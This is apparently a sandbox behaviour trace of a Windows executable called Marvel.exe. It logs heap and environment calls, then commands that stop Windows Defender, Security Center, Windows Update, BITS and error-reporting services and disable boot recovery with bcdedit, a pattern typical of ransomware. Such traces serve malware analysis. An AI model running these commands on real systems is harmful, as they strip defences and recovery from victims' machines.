!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿRÖU èþ\x18", lpUsedDefaultChar=0x0) returned 256 [0030.591] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5549a0 [0030.593] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x492820, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Marvel.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\marvel.exe")) returned 0x38 [0030.593] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x41) returned 0x556238 [0030.593] RtlInitializeSListHead (in: ListHead=0x492198 | out: ListHead=0x492198) [0030.594] GetLastError () returned 0x0 [0030.594] SetLastError (dwErrCode=0x0) [0030.594] GetEnvironmentStringsW () returned 0x556288* [0030.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0030.594] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x565) returned 0x556d60 [0030.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x556d60, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0030.609] FreeEnvironmentStringsW (penv=0x556288) returned 1 [0030.609] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x98) returned 0x556288 [0030.609] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1f) returned 0x5560b8 [0030.609] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x36) returned 0x556328 [0030.609] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x37) returned 0x556368 [0030.609] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x3c) returned 0x5563a8 [0030.609] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x31) returned 0x5563f0 [0030.609] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x17) returned 0x554a28 [0030.609] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x24) returned 0x556430 [0030.609] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x14) returned 0x556460 [0030.609] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xd) returned 0x54f088 [0030.609] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x25) returned 0x556480 [0030.609] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x39) returned 0x5564b0 [0030.609] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x18) returned 0x5564f8 [0030.609] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x17) returned 0x556518 [0030.609] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xe) returned 0x54f0a0 [0030.609] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x69) returned 0x556538 [0030.609] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x3e) returned 0x5572e8 [0030.609] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1b) returned 0x5560e0 [0030.609] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1d) returned 0x556108 [0030.609] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x48) returned 0x5565b0 [0030.609] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x12) returned 0x556600 [0030.609] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x18) returned 0x556620 [0030.609] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1b) returned 0x556130 [0030.609] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x24) returned 0x556640 [0030.610] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x29) returned 0x556670 [0030.610] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1e) returned 0x556158 [0030.610] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x41) returned 0x5566a8 [0030.610] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x17) returned 0x5566f8 [0030.610] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xf) returned 0x54f0b8 [0030.610] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x16) returned 0x556718 [0030.610] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x2a) returned 0x556738 [0030.610] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x29) returned 0x556770 [0030.610] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x15) returned 0x5567a8 [0030.610] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1e) returned 0x556180 [0030.610] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x2a) returned 0x5567c8 [0030.610] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x12) returned 0x556800 [0030.610] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x18) returned 0x556820 [0030.610] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x46) returned 0x556840 [0030.610] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x556d60 | out: hHeap=0x540000) returned 1 [0030.611] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0030.611] GetProcAddress (hModule=0x76e10000, lpProcName="FlsAlloc") returned 0x76e24f2b [0030.611] GetProcAddress (hModule=0x76e10000, lpProcName="FlsFree") returned 0x76e2359f [0030.611] GetProcAddress (hModule=0x76e10000, lpProcName="FlsGetValue") returned 0x76e21252 [0030.611] GetProcAddress (hModule=0x76e10000, lpProcName="FlsSetValue") returned 0x76e24208 [0030.611] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionEx") returned 0x76e24d28 [0030.612] GetProcAddress (hModule=0x76e10000, lpProcName="InitOnceExecuteOnce") returned 0x76e3d627 [0030.612] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventExW") returned 0x76ea410b [0030.612] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSemaphoreW") returned 0x76e3ca5a [0030.612] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSemaphoreExW") returned 0x76ea4195 [0030.612] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolTimer") returned 0x76e3ee7e [0030.612] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolTimer") returned 0x7736441c [0030.612] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7738c50e [0030.612] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolTimer") returned 0x7738c381 [0030.612] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolWait") returned 0x76e3f088 [0030.612] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolWait") returned 0x773705d7 [0030.612] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolWait") returned 0x7738ca24 [0030.612] GetProcAddress (hModule=0x76e10000, lpProcName="FlushProcessWriteBuffers") returned 0x77340b8c [0030.612] GetProcAddress (hModule=0x76e10000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x773ffde8 [0030.612] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessorNumber") returned 0x77391e1d [0030.612] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSymbolicLinkW") returned 0x76e9cd11 [0030.613] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentPackageId") returned 0x0 [0030.613] GetProcAddress (hModule=0x76e10000, lpProcName="GetTickCount64") returned 0x76e3eee0 [0030.613] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileInformationByHandleEx") returned 0x76e3c78f [0030.613] GetProcAddress (hModule=0x76e10000, lpProcName="SetFileInformationByHandle") returned 0x76e4cbfc [0030.613] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTimePreciseAsFileTime") returned 0x0 [0030.613] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeConditionVariable") returned 0x77358456 [0030.613] GetProcAddress (hModule=0x76e10000, lpProcName="WakeConditionVariable") returned 0x773c7de4 [0030.613] GetProcAddress (hModule=0x76e10000, lpProcName="WakeAllConditionVariable") returned 0x7738409d [0030.613] GetProcAddress (hModule=0x76e10000, lpProcName="SleepConditionVariableCS") returned 0x76ea4b32 [0030.613] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeSRWLock") returned 0x77358456 [0030.613] GetProcAddress (hModule=0x76e10000, lpProcName="AcquireSRWLockExclusive") returned 0x773529f1 [0030.613] GetProcAddress (hModule=0x76e10000, lpProcName="TryAcquireSRWLockExclusive") returned 0x77364892 [0030.613] GetProcAddress (hModule=0x76e10000, lpProcName="ReleaseSRWLockExclusive") returned 0x773529ab [0030.613] GetProcAddress (hModule=0x76e10000, lpProcName="SleepConditionVariableSRW") returned 0x76ea4b74 [0030.613] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolWork") returned 0x76e3ee45 [0030.614] GetProcAddress (hModule=0x76e10000, lpProcName="SubmitThreadpoolWork") returned 0x77398491 [0030.614] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolWork") returned 0x7738d8e2 [0030.614] GetProcAddress (hModule=0x76e10000, lpProcName="CompareStringEx") returned 0x76ea46b1 [0030.614] GetProcAddress (hModule=0x76e10000, lpProcName="GetLocaleInfoEx") returned 0x76ea4751 [0030.614] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringEx") returned 0x76ea47f1 [0030.614] GetModuleHandleW (lpModuleName="api-ms-win-core-synch-l1-2-0.dll") returned 0x74580000 [0030.614] GetProcAddress (hModule=0x74580000, lpProcName="SleepConditionVariableCS") returned 0x76ea4b32 [0030.614] GetProcAddress (hModule=0x74580000, lpProcName="WakeAllConditionVariable") returned 0x7738409d [0030.614] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x800) returned 0x556890 [0030.614] QueryPerformanceFrequency (in: lpFrequency=0x18ff28 | out: lpFrequency=0x18ff28*=100000000) returned 1 [0030.676] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff20 | out: lpPerformanceCount=0x18ff20*=17254670260) returned 1 [0030.676] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0030.677] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x42e1e8) returned 0x0 [0030.712] GetCurrentThread () returned 0xfffffffe [0030.712] GetThreadTimes (in: hThread=0xfffffffe, lpCreationTime=0x18ff14, lpExitTime=0x18ff1c, lpKernelTime=0x18ff1c, lpUserTime=0x18ff1c | out: lpCreationTime=0x18ff14, lpExitTime=0x18ff1c, lpKernelTime=0x18ff1c, lpUserTime=0x18ff1c) returned 1 [0030.712] RtlInitializeSListHead (in: ListHead=0x492568 | out: ListHead=0x492568) [0030.786] RtlSizeHeap (HeapHandle=0x540000, Flags=0x0, MemoryPointer=0x5549a0) returned 0x80 [0030.787] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5549a0, Size=0x100) returned 0x557098 [0030.789] RtlInitializeConditionVariable () returned 0x492e8c [0030.789] RtlSizeHeap (HeapHandle=0x540000, Flags=0x0, MemoryPointer=0x557098) returned 0x100 [0030.789] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x557098, Size=0x200) returned 0x557098 [0030.790] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x54f0e8 [0030.791] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x5549a0 [0030.792] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20023) returned 0x558f18 [0030.825] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0x558f20, nSize=0xffff | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x1d [0031.055] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x578f48 [0031.061] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x18) returned 0x554a08 [0031.061] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x578fb0 [0031.061] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x579018 [0031.063] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x554a08 | out: hHeap=0x540000) returned 1 [0031.063] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x70) returned 0x579050 [0031.063] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x48) returned 0x5790c8 [0031.063] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x579018 | out: hHeap=0x540000) returned 1 [0031.063] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x579118 [0031.063] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x579170 [0031.063] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5790c8 | out: hHeap=0x540000) returned 1 [0031.064] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5791d8 [0031.064] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x579230 [0031.064] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x579170 | out: hHeap=0x540000) returned 1 [0031.064] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x579170 [0031.064] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5792c8 [0031.064] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd8) returned 0x579320 [0031.064] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x579230 | out: hHeap=0x540000) returned 1 [0031.064] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x579230 [0031.064] GetEnvironmentVariableW (in: lpName="SYSTEMDRIVE", lpBuffer=0x18fd8c, nSize=0x32 | out: lpBuffer="C:") returned 0x2 [0031.064] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x558478 [0031.064] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x5584a0 [0031.064] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x138) returned 0x579400 [0031.064] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x579320 | out: hHeap=0x540000) returned 1 [0031.064] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x5584c8 [0031.064] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x579018 [0031.064] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x5584f0 [0031.064] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1c8) returned 0x579540 [0031.064] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x579400 | out: hHeap=0x540000) returned 1 [0031.064] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x558f18 | out: hHeap=0x540000) returned 1 [0031.064] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x557330 [0031.064] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x5e) returned 0x579320 [0031.064] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x557330 | out: hHeap=0x540000) returned 1 [0031.064] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x124fa3) returned 0x1d60020 [0031.170] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x579710 [0031.170] GetVersionExW (in: lpVersionInformation=0x492f58*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x492f58*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0031.170] GetStartupInfoW (in: lpStartupInfo=0x18ff08 | out: lpStartupInfo=0x18ff08*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Marvel.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0031.171] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40b641, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x70 [0031.187] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x110) returned 0x579388 [0031.187] GetCurrentProcess () returned 0xffffffff [0031.187] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x0, lpBaseName=0x579388, nSize=0x104 | out: lpBaseName="Marvel.exe") returned 0xa [0031.187] lstrcmpA (lpString1="Marvel.exe", lpString2="Marvel.exe") returned 0 [0031.189] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x579388 | out: hHeap=0x540000) returned 1 [0031.189] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x110) returned 0x579388 [0031.189] GetCurrentProcess () returned 0xffffffff [0031.189] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x0, lpBaseName=0x579388, nSize=0x104 | out: lpBaseName="Marvel.exe") returned 0xa [0031.189] lstrcmpA (lpString1="Marvel.exe", lpString2="Marvel.exe") returned 0 [0031.189] FindResourceW (hModule=0x0, lpName=0x66, lpType=0xa) returned 0x4a4058 [0031.191] LoadResource (hModule=0x0, hResInfo=0x4a4058) returned 0x4940f0 [0031.191] LockResource (hResData=0x4940f0) returned 0x4940f0 [0031.191] SizeofResource (hModule=0x0, hResInfo=0x4a4058) returned 0x4b1 [0031.191] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4b1) returned 0x558f18 [0031.191] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x558540 [0031.191] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x558568 [0031.191] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x558540 | out: hHeap=0x540000) returned 1 [0031.191] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20023) returned 0x579f40 [0031.193] GetEnvironmentVariableW (in: lpName="SYSTEMROOT", lpBuffer=0x579f60, nSize=0xffff | out: lpBuffer="C:\\Windows") returned 0xa [0031.193] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x18) returned 0x599f88 [0031.194] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x558540 [0031.194] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x579f40 | out: hHeap=0x540000) returned 1 [0031.194] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x558568 | out: hHeap=0x540000) returned 1 [0031.194] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20023) returned 0x579f40 [0031.194] GetEnvironmentVariableW (in: lpName="TEMP", lpBuffer=0x579f60, nSize=0xffff | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x24 [0031.194] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x579b28 [0031.194] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x579b60 [0031.194] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x599f88 | out: hHeap=0x540000) returned 1 [0031.194] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x579f40 | out: hHeap=0x540000) returned 1 [0031.194] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20023) returned 0x579f40 [0031.194] GetEnvironmentVariableW (in: lpName="TMP", lpBuffer=0x579f60, nSize=0xffff | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x24 [0031.194] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x48) returned 0x579bb8 [0031.194] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x59a770 [0031.194] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x579b28 | out: hHeap=0x540000) returned 1 [0031.194] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x579f40 | out: hHeap=0x540000) returned 1 [0031.194] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x558568 [0031.194] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x558590 [0031.194] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x558568 | out: hHeap=0x540000) returned 1 [0031.194] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20023) returned 0x579f40 [0031.194] GetEnvironmentVariableW (in: lpName="PROGRAMDATA", lpBuffer=0x579f60, nSize=0xffff | out: lpBuffer="C:\\ProgramData") returned 0xe [0031.194] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x59a7c8 [0031.194] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x558568 [0031.194] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x579bb8 | out: hHeap=0x540000) returned 1 [0031.194] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x579f40 | out: hHeap=0x540000) returned 1 [0031.194] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x579b28 [0031.194] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x558590 | out: hHeap=0x540000) returned 1 [0031.194] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x579bb8 [0031.194] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="sc stop wscsvc", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd38*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fd7c | out: lpCommandLine="sc stop wscsvc", lpProcessInformation=0x18fd7c*(hProcess=0x7c, hThread=0x78, dwProcessId=0xa0c, dwThreadId=0xa24)) returned 1 [0031.210] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="sc stop WinDefend", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd38*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fd7c | out: lpCommandLine="sc stop WinDefend", lpProcessInformation=0x18fd7c*(hProcess=0x80, hThread=0x84, dwProcessId=0xa40, dwThreadId=0xa5c)) returned 1 [0031.213] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="sc stop wuauserv", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd38*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fd7c | out: lpCommandLine="sc stop wuauserv", lpProcessInformation=0x18fd7c*(hProcess=0x88, hThread=0x8c, dwProcessId=0xa70, dwThreadId=0xa80)) returned 1 [0031.327] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="sc stop BITS", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd38*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fd7c | out: lpCommandLine="sc stop BITS", lpProcessInformation=0x18fd7c*(hProcess=0x90, hThread=0x94, dwProcessId=0xaf0, dwThreadId=0xb00)) returned 1 [0031.491] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="sc stop ERSvc", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd38*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fd7c | out: lpCommandLine="sc stop ERSvc", lpProcessInformation=0x18fd7c*(hProcess=0x98, hThread=0x9c, dwProcessId=0xb10, dwThreadId=0xb20)) returned 1 [0031.500] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="sc stop WerSvc", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd38*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fd7c | out: lpCommandLine="sc stop WerSvc", lpProcessInformation=0x18fd7c*(hProcess=0xa4, hThread=0xa8, dwProcessId=0xb50, dwThreadId=0xb54)) returned 1 [0031.511] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x46) returned 0x59a830 [0031.511] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x579b28 | out: hHeap=0x540000) returned 1 [0031.511] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x68) returned 0x59a880 [0031.511] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a830 | out: hHeap=0x540000) returned 1 [0031.511] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x9a) returned 0x59a8f0 [0031.511] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a880 | out: hHeap=0x540000) returned 1 [0031.511] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="cmd.exe /c bcdedit /set {default} recoveryenabled No", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, 